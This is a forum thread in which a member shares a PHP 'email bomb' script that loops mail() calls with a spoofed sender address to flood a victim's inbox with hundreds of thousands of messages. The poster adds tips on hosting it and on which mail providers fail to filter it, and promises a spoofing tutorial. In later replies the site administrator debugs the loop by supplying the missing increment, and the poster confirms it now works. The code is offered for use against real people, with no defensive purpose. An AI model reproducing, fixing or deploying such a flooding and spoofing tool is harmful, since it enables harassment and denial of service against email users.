Basic PHP Email Bomb for newbies

Discussion in 'PHP' started by &ever, Oct 16, 2010.

  1. &ever

    &ever New Member

    Joined:
    Oct 15, 2010
    Messages:
    25
    Likes Received:
    2
    Trophy Points:
    0
    Location:
    Montana
    I haven't yet seen anything for an email bomb on here, so I decided to make one, and here is the code:

    <?php
    $mail = 1;
    do {
    mail("Client", "Subject", "Message", "Fake email you send from");
    } while($mail < 500000);
    ?>
    _____________________________________________________________________________
    Above is the basic code for an email bomb with an email spoofer, the spoofer doesn't for this really doesn't require any coding skill, just the knowledge to type in an email.

    In order to use this code you must find a webhosting site or anybody that allows PHP coding, I recommend making your own site.

    Explanation:

    <?php This is the starting of the code.
    $mail = 1; This is defining the variable($mail) to equal 1
    Do { This is a function
    Mail("Client" , "Subject" ,"Message", "Fake email");
    } Ends the function and is going to "reply ;)" to the email given
    While($mail < 50000); Says how many emails you will be sending
    ?> Ends index.php

    This will not work very well with any email server that is a known name (yahoo, Gmail) they will just put it all in one folder.
    Bresnan Msn and things like that usually are fine
    __________________________________________________________________________
    Hope this helped.
    Will be making a tutorial on how to spoof your real email soon.
     
  2. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,375
    Likes Received:
    388
    Trophy Points:
    83
    Isn't this an infinite loop because you are not incrementing the $mail
     
  3. &ever

    &ever New Member

    Joined:
    Oct 15, 2010
    Messages:
    25
    Likes Received:
    2
    Trophy Points:
    0
    Location:
    Montana
    Yes but ($mail < 50000); sets the max emails sent.
     
  4. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,375
    Likes Received:
    388
    Trophy Points:
    83
    } while($mail < 500000); and } while($mail < 2); is same if you don't increment the variable.
     
  5. &ever

    &ever New Member

    Joined:
    Oct 15, 2010
    Messages:
    25
    Likes Received:
    2
    Trophy Points:
    0
    Location:
    Montana
    Your right, my mistake.
     
  6. &ever

    &ever New Member

    Joined:
    Oct 15, 2010
    Messages:
    25
    Likes Received:
    2
    Trophy Points:
    0
    Location:
    Montana
    I tested my code and recieved a few hundred emails...
    nothing allows me to increment $mail , just gives me an error even your
    "} while($mail < 500000); and } while($mail < 2);"

    Would you like to create a bomb test it then send me the code to prove me wrong(all due respect)
    I would just like to see this incrementation. I just tested all possible increments and cant seem to get them to work.
     
  7. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,375
    Likes Received:
    388
    Trophy Points:
    83
    $mail++ would do it but if this does not work let me know and I will share the code snippets.
     
    &ever likes this.
  8. &ever

    &ever New Member

    Joined:
    Oct 15, 2010
    Messages:
    25
    Likes Received:
    2
    Trophy Points:
    0
    Location:
    Montana
    That fixed it, thanks!
     

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice